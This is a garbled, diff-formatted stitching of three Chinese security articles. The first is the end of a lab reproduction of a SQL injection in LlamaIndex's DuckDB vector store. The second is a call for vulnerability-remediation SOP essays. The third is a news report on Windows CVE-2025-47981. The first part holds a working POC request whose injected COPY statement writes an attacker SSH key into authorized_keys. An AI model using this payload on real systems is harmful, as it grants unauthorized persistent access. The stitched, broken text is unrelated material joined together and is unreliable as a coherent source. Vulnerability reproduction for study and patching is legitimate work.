return jsonify({'message': "ok"})
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=8000)
|
||||
```
|
||||
|
||||
安装依赖
|
||||
```
|
||||
pip install flask numpy llama-index-vector-stores-duckdb
|
||||
```
|
||||
|
||||
|
||||
|
||||
运行代码
|
||||
|
||||
|
||||
|
||||
访问漏洞环境
|
||||
|
||||
|
||||
|
||||
2.对漏洞进行复现
|
||||
|
||||
|
||||
**POC**
|
||||
|
||||
漏洞复现
|
||||
```
|
||||
POST /delete HTTP/1.1
|
||||
Host: 10.211.55.2
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Upgrade-Insecure-Requests: 1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Connection: keep-alive
|
||||
Content-Type: application/json
|
||||
Content-Length: 812
|
||||
|
||||
{"doc_id":"doc1';COPY (SELECT 'ssh-rsa AAAAAB3NzaC1yc2EAAAADAQABAAACAQCwJF10XbdhMTV8VfriiewblV2Pv8O+W42KT0H6VmNzqWLZYkLpbgHZN9fBw2XoBjMxYrs8vA5hpVU2fmoU2DX7SHy8iavtU0ZtCPxwMDloR5BHnq6wzaTvgrcIWqJ9FKdT/1f6fv9/Mbt6qEGUTZSFoFA8Q5drKp4z3jR18h/5+gQVv1/OdoWleNjxxek0O8NmKm7cd2dXNKZDu39LeAG1C94BmqO5G3I7BXEuvX46BE/7ZUvVwnBS2SQGi6GJDCegqMIl5t0DnfyiDJelBTxxFewChzFBFoTJVBoP8Ve+lLaVxWDb6bQ9EsQcQXHGrYfigH8u3d7fe2f2uG3Cp/PwerFXpRN9yx6LM6Y+d5GaiRgv+aJ//AjxVGNL4r+baGHXDnQOKJSUCwBJcHasTPWZsTmnBsmgHYId9U9RFoFCrXq9sqNhhRealPSy3ZR7RKQKmRi/uXy86VMXZd6nHuTxqTLtgu+rMgiHjZ63JsOGckNV8LqQEHs0eA/6rwe8a7WHYYw7TUoFv/xd4kdyl6AN8lMZtf37ELJQhu3oWGGzWFbPk+22Yy1JGYPzWMb0YPxm9wczD0FTQGjDUvCljbxJjbf27SzX+Ld+8AQ4jxu3JuuEYH9CV9vV96Wu621t+7YwCp1A3iEaCT66hFKQihSCU3VtqIMQ+YAVEmadx6yvMQ== [email protected]') TO '~/.ssh/authorized_keys';-- -"}
|
||||
|
||||
```
|
||||
|
||||
执行SQL命令，通过相应判断漏洞存在
|
||||
|
||||
|
||||
|
||||
|
||||
查看成功写入公钥，可ssh免密登录
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x04修复建议**
|
||||
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
|
||||
|
||||
临时缓解措施：
|
||||
|
||||
1.输入验证：对ref_doc_id 参数进行严格的输入验证，确保其不包含任何可能导致 SQL 注入的字符
|
||||
。
|
||||
|
||||
2.参数化查询：使用参数化查询来执行SQL 语句，避免直接将用户输入拼接到 SQL 查询中
|
||||
。
|
||||
|
||||
|
||||
建议尽快升级修复漏洞，再次声明本文仅供学习使用，非法他用责任自负！
|
||||
```
|
||||
https://github.com/run-llama/llama_index/releases/tag/v0.12.40
|
||||
https://mp.weixin.qq.com/s/cWaTgItTFgwzD4zVBnn_ZA
|
||||
https://mp.weixin.qq.com/s/W2dyl0sQ-eddtnyimxA6Wg
|
||||
```
|
||||
|
||||
|
||||
|
||||
弥天简介
|
||||
|
||||
学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
|
||||
|
||||
口号 网安引领时代，弥天点亮未来
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
知识分享完了
|
||||
|
||||
喜欢别忘了关注我们哦~
|
||||
|
||||
学海浩茫，
|
||||
|
||||
予以风动，
|
||||
|
||||
必降弥天之润！
|
||||
|
||||
|
||||
弥 天
|
||||
|
||||
安全实验室
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,187 @@
|
||||
# 安钥®「漏洞防治标准作业程序（SOP）」征文启示 [2025年第27期，总第45期]
|
||||
原创 安钥 方桥安全漏洞防治中心 2025-07-10 05:51
|
||||
|
||||
|
||||
|
||||
感谢所有参与漏洞处置SOP征文活动的每一个人，为我们共同推动漏洞处置标准化进程注入了强大的动力。
|
||||
# 【 活 动 主 题 】
|
||||
|
||||
数字时代浪潮奔涌而来，网络安全已成为国家、企业和个人必须重视的工作。
|
||||
|
||||
每个漏洞都可能成为网络攻击的突破口。
|
||||
|
||||
修补漏洞的过程经常充满挑战，如同
|
||||
解除结构复杂的定时炸弹。
|
||||
|
||||
安全漏洞处置标准作业程序（SOP）是大家
|
||||
合力锤炼的金钥匙，旨在高效处置漏洞，筑牢安全防线。
|
||||
|
||||
谨以此文，诚邀您参加
|
||||
**“安钥®「漏洞处置标准作业程序（****SOP****）」征文”**
|
||||
活动，分享您的经验和智慧，帮助国家、企业、社区、家庭、个人更有效地防范网络安全风险。
|
||||
# 【 目 标 作 者 】
|
||||
- 网络安全专业人员
|
||||
|
||||
- 软件开发人员
|
||||
|
||||
- IT运维人员
|
||||
|
||||
- 能分享安全漏洞处置经验的任何专业人士
|
||||
|
||||
# 【 活 动 特 点 】
|
||||
- **实战导向：**
|
||||
定期收集漏洞情报，如必修漏洞、关键漏洞、严重影响业务的漏洞、Day 1 漏洞等，针对这些漏洞征集「漏洞处置SOP」，总结和分享真实工作场景中收获的经验和教训。
|
||||
|
||||
- **专业指导：**
|
||||
提供两篇已验证的的SOP样例，SOP模板，SOP编写方法与过程。
|
||||
[三步写好「漏洞处置SOP」](http://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484146&idx=1&sn=d5a39e4fad74df928be97dd1a952d040&chksm=c3593397f42eba81b49be3fd473da1c85c88ea8507ca69f7852cd8801064e27594684dde7f76&scene=21#wechat_redirect)
|
||||
|
||||
供你参考，助你快速上手。
|
||||
（文末添加运营助手获取样例）
|
||||
|
||||
- **现金回报：**
|
||||
评审合格的SOP将获得
|
||||
**300元~500元**
|
||||
稿酬。后续还将从合格SOP中评选出优秀作品，奖金最高可达
|
||||
**1,000元**
|
||||
。2025年还将评出3个年度SOP，每个奖金
|
||||
**10,000元**
|
||||
。
|
||||
|
||||
- **长期签约：**
|
||||
每期的前3名有机会成为签约作者，长期合作共赢。
|
||||
|
||||
- **公开发布：**
|
||||
所有入选作品在公众号发布，并推荐到安全专业新媒体平台展示，署名作者持续积累专业声誉。
|
||||
|
||||
# 【 征 文 形 式 】
|
||||
|
||||
本身我们提供 10 个安全漏洞处置的标准作业程序（SOP）框架稿，在此基础上你需要依照
|
||||
**“修补方案”**
|
||||
实施并记录，具体方式包括：
|
||||
**升级、打补丁、修改配置**
|
||||
等。
|
||||
|
||||
你可从这 10 份框架稿中任选一份或者多份，自行搭建环境实施修复方案，并详细记录修补漏洞的过程，说明具体的操作步骤和系统输出（需配图），基于修补漏洞的过程编写
|
||||
**“详细漏洞处置步骤”**
|
||||
后，通过邮件提交。
|
||||
|
||||
参考：
|
||||
[编写「漏洞处置SOP」的方法与要点](http://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484146&idx=1&sn=d5a39e4fad74df928be97dd1a952d040&chksm=c3593397f42eba81b49be3fd473da1c85c88ea8507ca69f7852cd8801064e27594684dde7f76&scene=21#wechat_redirect)
|
||||
|
||||
# 【 征 文 要 求 】
|
||||
1. **原创：**
|
||||
投稿作品必须为本人编写，不得抄袭，不得洗稿等。一经发现，取消资格。
|
||||
|
||||
1. **实用：**
|
||||
依据修复方案，详细记录漏洞修复过程，说明详细操作步骤（配图）、验证及后续跟踪等关键环节，确保漏洞处置过程完整、清晰、可操作。
|
||||
|
||||
1. **规范：**
|
||||
行文注意逻辑严谨，文字流畅。合理使用标题、段落、列表等样式组织内容，确保易于阅读。（参考样例：
|
||||
[漏洞修复SOP | 处置ESXi 6.7（VMware ESXi 6u7a）的一系列安全漏洞](http://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247483946&idx=1&sn=e1a4ea2f8e2e13f3384ee76ec45942f1&chksm=c359334ff42eba5997b93f18249e498a12fd09efacba3f0366297924517748e4678d902299f5&scene=21#wechat_redirect)
|
||||
|
||||
）
|
||||
|
||||
> 在上述3点基础上，鼓励创新。<
|
||||
|
||||
1. **创新：**
|
||||
体现在制订/设计漏洞处置方案以达到比常规方案更好的效果。如：花的时间更短，部分自动化，提供shell脚本，采用新技术（新工具）获得更好的效果等。
|
||||
|
||||
# 【 投 稿 方 式 】
|
||||
|
||||
|
||||
1. **添加运营助手：**
|
||||
下方扫码添加运营助手，注明
|
||||
**“SOP”**
|
||||
，获取参赛附件。
|
||||
|
||||
1. **电子投稿：**
|
||||
请将投稿作品以Word或PDF格式提交至邮箱
|
||||
**SOP123#tingqiao_net**
|
||||
，邮件标题请注明
|
||||
**“漏洞处置SOP征文活动+署名+作品标题”**
|
||||
。（注：为减少垃圾邮件，请将"#"替换成"@"，将"_"替换为"."）
|
||||
|
||||
1. **截止日期：**
|
||||
2025年7月19日（周六）23:59前
|
||||
|
||||
1. **结果公布：**
|
||||
2025年7月23日（周三）
|
||||
|
||||
扫码添加运营助手获取参赛附件
|
||||
|
||||
▽
|
||||
|
||||
|
||||
|
||||
本征文活动的解释权归上海方桥信息技术有限公司所有。
|
||||
|
||||
|
||||
**往期入选公布**
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第一期](http://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484176&idx=1&sn=075c87d06e177c5cfc335bc6dbcf67dd&chksm=c3593275f42ebb63192e174945ba9a5af5b6d8aa45b384f4328accb7638f87122b31ab831173&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二期](http://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484220&idx=1&sn=3c76a50ede2f7968337f251cdacd34ce&chksm=c3593259f42ebb4f628b691fe3967f35acbff64cce9bdd5815c335b3d435effe2224ba59cf64&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第八期](http://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484325&idx=1&sn=de7186ee2bde1a9178df7086cf65b1d9&chksm=c35932c0f42ebbd6e7f6217837931f17af287900a429dbe5f34b293b9f16e42a57d4ea678c14&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第九期](http://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484336&idx=1&sn=5b5f56173e65a5aed2c40f5ef1290968&chksm=c35932d5f42ebbc342a74cacca178be54d2b6b08d095ad1dd1177b75f0998799fffd011e6ba6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第十四期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484370&idx=2&sn=b15a9a7550e03bcc119c7bf88dbb09b6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第十五期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484383&idx=2&sn=da1c094281f3ad7ef7bedbcde6056425&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第十八期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484413&idx=2&sn=44e275abbacd91b885c76cc35ffbbc80&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第十九期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484421&idx=2&sn=cf82b26bdf509821375a7c312025185c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二十期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484459&idx=3&sn=ab11543dc260ae956c905b66c6d0309e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二十三期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484540&idx=3&sn=77ff7304d7c4a30a32778b2edec9d655&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二十四期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484585&idx=3&sn=d4b92d0f35cf40d47017d27517e3272b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二十五期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484623&idx=3&sn=c7e7ded0057bb6bd6bc4e2dffee93d4f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二十六期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484661&idx=3&sn=6caae8878523d4676acdee73eb953501&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二十七期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484704&idx=3&sn=be0d64b3b3c7b6e7ca999b090840ad3b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第二十八期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484729&idx=3&sn=a35da3c9695974002aa83184efbe3c0f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第三十期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484765&idx=3&sn=2abb86098cace96ca0c64e2ba2734e16&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第三十一期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484779&idx=3&sn=310b7297e3017aa319a69b1e7545706d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第三十二期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484793&idx=3&sn=d2ca34d5e594924cb54af14da20b1dd3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第三十三期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484816&idx=3&sn=b5673d90eadf3ee6f4dc1bf3c39ab44d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[入选作品公布｜安钥®「漏洞处置标准作业程序（SOP）」征文第四十期](https://mp.weixin.qq.com/s?__biz=Mzk0OTQzMDI4Mg==&mid=2247484906&idx=2&sn=97b955ee68e3ad6b31a6b5ecc0278dcd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
欢迎关注公众号
|
||||
|
||||
▽
|
||||
|
||||
|
||||
@@ -0,0 +1,219 @@
|
||||
# 微软紧急修复高危蠕虫级RCE漏洞，威胁全网Windows系统
|
||||
FreeBuf 安小圈 2025-07-10 12:00
|
||||
|
||||
**安小圈**
|
||||
|
||||
|
||||
第705期
|
||||
|
||||
|
||||
# 微软已发布关键安全更新，修复编号为CVE-2025-47981的高危漏洞。该漏洞存在于SPNEGO扩展协商(NEGOEX)安全机制中，属于基于堆的缓冲区溢出漏洞，影响多个Windows和Windows Server版本。
|
||||
# 该漏洞CVSS评分为9.8分(满分10分)，属于最高危级别，可在无需用户交互的情况下实现远程代码执行。
|
||||
#
|
||||
|
||||
**Part01**
|
||||
|
||||
## 核心要点
|
||||
#
|
||||
# 1. Windows SPNEGO中存在基于堆的缓冲区溢出漏洞，CVSS评分9.8/10，可实现远程代码执行
|
||||
# 2. 攻击者无需用户交互或特权，仅需向服务器发送恶意消息即可执行代码
|
||||
# 3. 影响Windows 10(1607及以上)、Windows 11及Windows Server等33种系统配置
|
||||
# 4. 微软于2025年7月8日发布更新，建议优先部署在面向互联网的系统及域控制器上
|
||||
# 该漏洞允许未经授权的攻击者通过网络连接执行任意代码，对企业环境构成严重威胁。
|
||||
#
|
||||
|
||||
**Part02**
|
||||
|
||||
## 可蠕虫传播的RCE漏洞
|
||||
#
|
||||
# 该漏洞存在于Windows SPNEGO扩展协商机制中，该机制是对简单且受保护的GSS-API协商机制的扩展。
|
||||
# CVE-2025-47981被归类为CWE-122，属于可远程利用的基于堆的缓冲区溢出漏洞。其CVSS向量字符串CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C表明，该漏洞可通过网络发起攻击，复杂度低，无需特权或用户交互，但对机密性、完整性和可用性影响极大。
|
||||
# 安全研究人员评估该漏洞"极有可能被利用"，不过截至披露时尚未发现公开利用代码或实际攻击案例。该漏洞尤其影响运行Windows 10版本1607及更高版本的客户端计算机，这些系统默认启用了组策略对象"网络安全：允许PKU2U身份验证请求使用在线身份"。
|
||||
# 攻击者可通过向受影响服务器发送恶意消息来利用CVE-2025-47981，可能获得远程代码执行能力。基于堆的缓冲区溢出发生在NEGOEX处理机制中，允许攻击者覆盖内存结构并控制程序执行流程。这种可蠕虫传播的特性意味着漏洞可能通过网络连接的系统自动传播，无需用户干预。
|
||||
# 该漏洞由安全研究人员通过协调披露机制发现，包括匿名贡献者和Yuki Chen。微软对这些研究人员的致谢体现了负责任漏洞披露对维护企业安全态势的重要性。
|
||||
#
|
||||
|
||||
**Part03**
|
||||
|
||||
## 风险因素
|
||||
#
|
||||
#
|
||||
#
|
||||
|
||||
**Part04**
|
||||
|
||||
## 补丁部署
|
||||
#
|
||||
|
||||
微软于2025年7月8日发布了全面的安全更新，针对不同Windows配置修复了该漏洞。关键更新包括Windows Server 2025(版本10.0.26100.4652)、Windows 11 24H2版(版本10.0.26100.4652)、Windows Server 2022 23H2版(版本10.0.25398.1732)以及Windows Server 2008 R2(版本6.1.7601.27820)等旧系统的补丁。
|
||||
|
||||
|
||||
企业应优先为面向互联网的系统和域控制器部署这些安全更新。补丁可通过Windows Update、Microsoft更新目录和Windows Server更新服务(WSUS)获取。系统管理员应通过核对微软安全公告中的版本号来验证补丁是否成功安装，并考虑在部署补丁期间实施网络分段作为额外防御措施。
|
||||
|
||||
|
||||
**参考来源：**
|
||||
|
||||
Microsoft Patches Wormable RCE Vulnerability in Windows and Windows Server
|
||||
|
||||
https://cybersecuritynews.com/microsoft-patches-wormable-rce-vulnerability/
|
||||
|
||||
END
|
||||
|
||||
|
||||
|
||||
**【以上内容**
|
||||
**来源于：FreeBuf】**
|
||||
|
||||
|
||||
|
||||
|
||||
- [【HVV】护网系列 威胁情报共享7.9](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547108&idx=1&sn=01f68c9cc76760e8e5e0615df3b54c6c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [25HVVRT钓鱼样本，警惕！多家单位已中...](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547104&idx=1&sn=8e06fcde039b325eedcb2eac8ba04f95&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [【HVV】护网系列 威胁情报共享7.8](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547054&idx=1&sn=014e2f4baedfea584d880c612e51b884&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [【更！】25HVV热点攻击漏洞含0day，各单位自查...](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547053&idx=1&sn=ab425df27b630dfa1c1d59759bf1ad37&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [【HVV】护网系列 威胁情报共享7.7](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247547048&idx=1&sn=d943617032f197fb6cb70fff9f8eb3d2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [25HVV最新0day更新，各单位自查...](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546998&idx=1&sn=c3077c2a50dfec80de8f9e21b507ae53&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=1&sn=2f16da5665014b4c07bcbd53e3d1c03e&scene=21#wechat_redirect)
|
||||
- [【HW】8个因护网被开除的网安人](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=1&sn=2f16da5665014b4c07bcbd53e3d1c03e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=2&sn=e9578e62a475ac5c46b95ac81066d2a7&scene=21#wechat_redirect)
|
||||
- [HW应急溯源：50个高级命令实战指南](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546898&idx=2&sn=e9578e62a475ac5c46b95ac81066d2a7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [震惊全球！中国团队攻破RSA加密！RSA加密告急？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546856&idx=1&sn=11b36f6fabde860e889e4ac2f4797bba&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546815&idx=1&sn=99a4f3228f322ef92c93d23cee01f071&scene=21#wechat_redirect)
|
||||
- [2025年【护网】攻防演练时间已定！](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546815&idx=1&sn=99a4f3228f322ef92c93d23cee01f071&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546578&idx=1&sn=87cdf84e6fd7d35986b29acd90954c65&scene=21#wechat_redirect)
|
||||
|
||||
[突发！小红书惊现后门......](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546578&idx=1&sn=87cdf84e6fd7d35986b29acd90954c65&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
- [2025年“净网”“护网”专项工作部署会在京召开，看看都说了哪些与你我相关的关键内容？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546673&idx=1&sn=53fe0365785465d4ff6193a9ca639119&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- # 护网即将来临，这场网安盛会带给了我们打工人什么......
|
||||
|
||||
- [护网在即，企业还有什么新思路可以应对吗？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546698&idx=1&sn=55ab4ac8dffb5f7ccf02a4f759537acf&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
- [HW必备：50个应急响应常用命令速查手册一（实战收藏）](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546304&idx=2&sn=45ef99e528ded7ff2e65e4d70e6d5181&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [HW必备：50个应急响应常用命令速查手册二（实战收藏）](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546327&idx=2&sn=cf1ebbd2b511524ec965a3672b6fc3dd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546530&idx=1&sn=4a2820b60102e538e87c956375f6fcdb&scene=21#wechat_redirect)
|
||||
- [网安同行们，你们焦虑了吗？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546530&idx=1&sn=4a2820b60102e538e87c956375f6fcdb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546466&idx=1&sn=a9d55d0b430dbf61dc219fd71ce25ae1&scene=21#wechat_redirect)
|
||||
- # 网安公司最后那点体面，还剩下多少？
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545577&idx=1&sn=76a4dbd28d9c0e006b7790d89c2b1354&scene=21#wechat_redirect)
|
||||
- [2024年网安上市公司营收、毛利、净利润排行](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545577&idx=1&sn=76a4dbd28d9c0e006b7790d89c2b1354&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545311&idx=2&sn=bb8ff7cd42079bae40ab0a2e05ff37c1&scene=21#wechat_redirect)
|
||||
- [突发！数万台 Windows 蓝屏。。。。广联达。。。惹的祸。。。](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545311&idx=2&sn=bb8ff7cd42079bae40ab0a2e05ff37c1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
#
|
||||
- # 权威解答 | 国家网信办就：【数据出境】安全管理相关问题进行答复
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247539649&idx=1&sn=8858b449c89d21240e1f522e92be4fbd&scene=21#wechat_redirect)
|
||||
- # 全国首位！上海通过数据出境安全评估91个，合同备案443个
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544405&idx=2&sn=a961d43ca4a9ed667fccbbab758d9196&scene=21#wechat_redirect)
|
||||
- # 沈传宁：落实《网络数据安全管理条例》，提升全员数据安全意识
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545156&idx=1&sn=ee5292e9838b2a2112a94a9c7c683925&scene=21#wechat_redirect)
|
||||
|
||||
- [频繁跳槽，只为投毒](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545156&idx=1&sn=ee5292e9838b2a2112a94a9c7c683925&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545017&idx=1&sn=b513c15f91d5de7a8fa33c4b3725706a&scene=21#wechat_redirect)
|
||||
- [【高危漏洞】Windows 11：300毫秒即可提权至管理员](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545017&idx=1&sn=b513c15f91d5de7a8fa33c4b3725706a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544601&idx=1&sn=e230574b0535e6005b830d086cdcf867&scene=21#wechat_redirect)
|
||||
- [针对网安一哥专门的钓鱼网站](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544601&idx=1&sn=e230574b0535e6005b830d086cdcf867&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=1&sn=06311aa3f8aeba492f83224c652fe4a1&scene=21#wechat_redirect)
|
||||
|
||||
- [为什么【驻场】网络安全服务已成为大多数网络安全厂商乙方不愿再触碰的逆鳞？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=1&sn=06311aa3f8aeba492f83224c652fe4a1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
- [HW流程以及岗位职责](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=3&sn=97e6083dbfbdd896680e24770a10d319&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247543989&idx=1&sn=2821b91efdd626e1a38ec6b2b439186b&scene=21#wechat_redirect)
|
||||
|
||||
- # 网络安全【重保】| 实战指南：企业如何应对国家级护网行动？
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542929&idx=1&sn=8cf6f15ddca44e343a494eea0fa619b2&scene=21#wechat_redirect)
|
||||
- **DeepSeek安全：AI网络安全评估与防护策略**
|
||||
|
||||
